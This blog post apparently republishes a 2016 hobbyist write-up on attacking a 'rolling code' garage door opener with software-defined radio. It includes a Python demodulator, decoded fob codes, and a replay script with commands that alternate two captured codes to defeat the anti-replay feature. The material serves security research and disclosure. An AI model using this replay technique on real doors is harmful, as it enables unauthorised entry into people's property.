top of page
Search
  • Writer's pictureDarren McDonald

Rolling Back Rolling Codes

Decoding ASK/OOK and pwning a garage door opener


I published this originally back in 2016 but it had since dropped off the internet. A friend was looking at some similar technology and it seemed worth while reviving it. The device mention is no longer sold but these attacks have been shown to continue to work in 2024.


I've been getting into Software Defined Radio, and decided to have a go at hacking a simple radio device, specifically a garage door opener called the "GD kit". The system was advertised as 'rolling code secure', so I thought id get one to try out the logjam attack but something completely different.


Rolling codes use algorithms like keylog which using a rolling code system to ensure that codes cannot be captured and replayed. So the first thing I tried was to use a SDR to record the signal from the fobs and replay it. Surprisingly playing a handful of recorded fob presses in a loop worked.


My first thought was that this meant that someone had lied, and actually it was using a static code. But it turned out to be a little more complex than that.


First thing i did was locate the signal using CQCX, I found it at 433.92 MHz. Pretty common to find this kind of device ~433 MHz as this commonly used.




Despite the frequency shifts in the waterfall image, this is ASK/OOK, which uses the presence or absence of a signal to signal a 1 or a 0. You can see the start of signal starts with a 010101010101010101010101 preamble, showing the start of the packet. This is followed by short and long square pulses which look a bit like Morse code. It’s pretty common to find some kind of encoding within digital signals, otherwise a long run of zeros and ones can lead to the clock falling out sync.

I decided Id need to see a list of codes trying different buttons and remotes to figure out exactly what was going on, so I wrote a simple ASK/OOK demodulator with clock recovery in GNURadio.



Basically this flow cleans up the signal, then turns the square signals into triangles using a square FIR filter. Square signals are not very good for Clock Recovery MM because there is no peak to find. After that the slicer produces zeros and ones and throws them into a TCP Sink, which I connect to a Python Script


To write the decoder I thought of the dots and dashes as 0b100 and 0b110. Three symbols per bit. Just take the middle bit as the actual value transmitted then as an error check ensure the preceding bit is 1 and the proceeding bit is 0.

#!/usr/bin/env python

import socket
import sys

TCP_IP = '127.0.0.1'
TCP_PORT = 5001
BUFFER_SIZE = 1  
cBuffer = ''

PREA = [0x01,0x00,0x01,0x00,0x01,0x00,0x01,0x00,0x01,0x00,0x01,0x00,0x01,0x00,0x01,0x00,0x01,0x00,0x01,0x00,0x01,0x00,0x01,0x00]
pInx = 0
data = 0x00
codeList = [["a", "b", "c", 1]]

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((TCP_IP, TCP_PORT))
s.listen(1)

import time
sTime = time.time()

def printList():
  print "id, last seen, counts, code"
  for index in range(len(codeList)):
    print str(index)+",", codeList[index][0]+"s "+codeList[index][1]+"m, "+str(codeList[index][3])+", \t"+hex(int(codeList[index][2], 2))+", \t"+codeList[index][2]
  print "---------------------------"  

def preSearch(conn):
  global data, pInx, cBuffer

  pInx = 0
  while 1:  
    data = conn.recv(1)
    if not data: return False
    if PREA[pInx] == ord(data):
      pInx = pInx + 1
      if pInx == 24:
        break
    else:
      pInx = 0
  return True

def waitTill1(conn):
  global data, pInx, cBuffer
  pInx = 0
  while pInx < 40:
    pInx = pInx +1
    data = conn.recv(1)
    if not data: return False
    if ord(data[0]) == 0x01:
      break
  return True

def codeGrab(conn):
  global data, pInx, cBuffer, sTime
  while pInx < 230:
    data = conn.recv(1)
    if not data: return False
    pInx = pInx +1
    cBuffer = cBuffer + str(ord(data[0]))
    data = conn.recv(BUFFER_SIZE)
    if ord(data[0]) != 0:
      break
    data = conn.recv(BUFFER_SIZE)
    if ord(data[0]) != 1:
      break

  pInx = 0
  if len(cBuffer) == 66:
    #print str(int((time.time()-sTime)))+"s\t "+str(int(((time.time()-sTime)*1000)%1000))+"m\t",cBuffer
    tup = [str(int((time.time()-sTime))), str(int(((time.time()-sTime)*1000)%1000)), cBuffer, 1 ]
    found = False
    print range(len(codeList))
    for index in range(len(codeList)):
      if codeList[index][2] == tup[2]:
        found = True
        codeList[index][3] = codeList[index][3] + 1
        codeList[index][0] = tup[0]
        codeList[index][1] = tup[1]
    if found == False:
      codeList.append(tup)
      if codeList[0][0] == "a":
        del codeList[0]
    printList()
  cBuffer = ''
  return True

while 1:
  conn, addr = s.accept()
  print 'Connection address:', addr
  while 1:
    if preSearch(conn) == False:
      break
    if waitTill1(conn) == False:
      break
    if codeGrab(conn) == False:
      break
  print 'Connection lost:', addr
  conn.close()

Here’s the output, my comments in square brackets.

id, last seen, counts, code
0, 11s 552m, 14, 	0x1739269c69b3e7fecL, 	010111001110010010011010011100011010011011001111100111111111101100 [Remote 1 Button 1]
1, 12s 818m, 1, 	0x3093baeb29b3e7ff5L, 	110000100100111011101011101011001010011011001111100111111111110101 [Remote 1 Button 2]
2, 15s 109m, 13, 	0x3093baeb29b3e7ff4L, 	110000100100111011101011101011001010011011001111100111111111110100 [Remote 1 Button 2]
3, 26s 443m, 1, 	0x1d38538729b3e7fe5L, 	011101001110000101001110000111001010011011001111100111111111100101 [Remote 1 both buttons]
4, 28s 100m, 9, 	0x1d38538729b3e7fe4L, 	011101001110000101001110000111001010011011001111100111111111100100 [Remote 1 both buttons]
5, 40s 690m, 15, 	0x1a5f6b41d45e7fec, 	000001101001011111011010110100000111010100010111100111111111101100 [Remote 2 Button 1]
6, 41s 446m, 1, 	0x32fb274e5d45e7ff5L, 	110010111110110010011101001110010111010100010111100111111111110101 [Remote 2 Button 2]
7, 44s 212m, 13, 	0x32fb274e5d45e7ff4L, 	110010111110110010011101001110010111010100010111100111111111110100 [Remote 2 Button 2]
8, 45s 298m, 1, 	0x16e96fde1d45e7fe5L, 	010110111010010110111111011110000111010100010111100111111111100101 [Remote 2 both buttons]
9, 47s 546m, 11, 	0x16e96fde1d45e7fe4L, 	010110111010010110111111011110000111010100010111100111111111100100 [Remote 2 both buttons]
                 	                	[-Rolling Code-----------------][--serial---][??????????????]12?FF []                                                           
---------------------------

From this it’s pretty easy to identify the rolling code and the serial that goes with each remote. Towards the end you see two bits (marked 12) which are used to specific which garage door to open, and at the end the last two bits are always 01 on the first message and 00 on subsequent copies of the code. So given there is a rolling code in there, why on earth does the replay attack work? After a lot of messing around I found that the when replaying several recorded codes the first code never works. I recorded a bunch of codes and split them into separate sample files, I found as long as the code comes after the previously transmitted code in the rolling sequence, it’ll work. While this is what happens on a normal rolling code system, transmitting an older coder resets device into an earlier position within the rolling code sequence. In effect the device loses track of where it is in the sequence if receives a valid but out of sequence code.

Therefore if you have captured two codes, playing them alternately opens the garage door, bypassing the anti-replay security feature normally associated with rolling codes.

Finally I wrote a script which generated an RF signal for two previously recorded codes. The gdoor-decode-client2.py script just writes a file with a bunch of floats matching the provided string and adds in the preamble and the dot/dash encoding, then a GNURadio script turns that into a simple square signal.

#!/usr/bin/env python

import time
import struct
import sys

gap = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
       0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]
pre = [0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,
       0,0,0,0,0,0,0,0,0,0]  

def writeRaw( code ):
  for num in code:
    if num == 0:
      f.write(chr(0x00))
      f.write(chr(0x00))
      f.write(chr(0x00))
      f.write(chr(0x00))    
    if num == 1:
      f.write(chr(0x00))
      f.write(chr(0x00))
      f.write(chr(0x80))
      f.write(chr(0x3F))

def writeEncoded( code ):
  for num in code:
    if num == 0:
      f.write(chr(0x00))
      f.write(chr(0x00))
      f.write(chr(0x80))
      f.write(chr(0x3F))
      f.write(chr(0x00))
      f.write(chr(0x00))
      f.write(chr(0x00))
      f.write(chr(0x00))
      f.write(chr(0x00))
      f.write(chr(0x00))
      f.write(chr(0x00))
      f.write(chr(0x00))
    if num == 1:
      f.write(chr(0x00))
      f.write(chr(0x00))
      f.write(chr(0x80))
      f.write(chr(0x3F))
      f.write(chr(0x00))
      f.write(chr(0x00))
      f.write(chr(0x80))
      f.write(chr(0x3F))
      f.write(chr(0x00))
      f.write(chr(0x00))
      f.write(chr(0x00))
      f.write(chr(0x00))

def sendCode(code):
  writeRaw(pre)
  writeEncoded(code)
  writeRaw(gap)

code = []

for index in range(len(sys.argv[2])):
  code.append(int(sys.argv[2][index]))

firstCode = code
firstCode.append(1)

secondCode = code
secondCode.append(0)

f = open(sys.argv[1], 'w')

sendCode(firstCode)
sendCode(secondCode)
sendCode(secondCode)
sendCode(secondCode)
sendCode(secondCode)
sendCode(secondCode)

f.close()

./gdoor-decode-client2.py codex 11000000100001000100100110100000101001101100111110011111111110110; ~/top_block.py
./gdoor-decode-client2.py codex 00011110111011111010111110100111101001101100111110011111111110110; ~/top_block.py

40 views0 comments

Opmerkingen


Opmerkingen zijn uitgezet.
bottom of page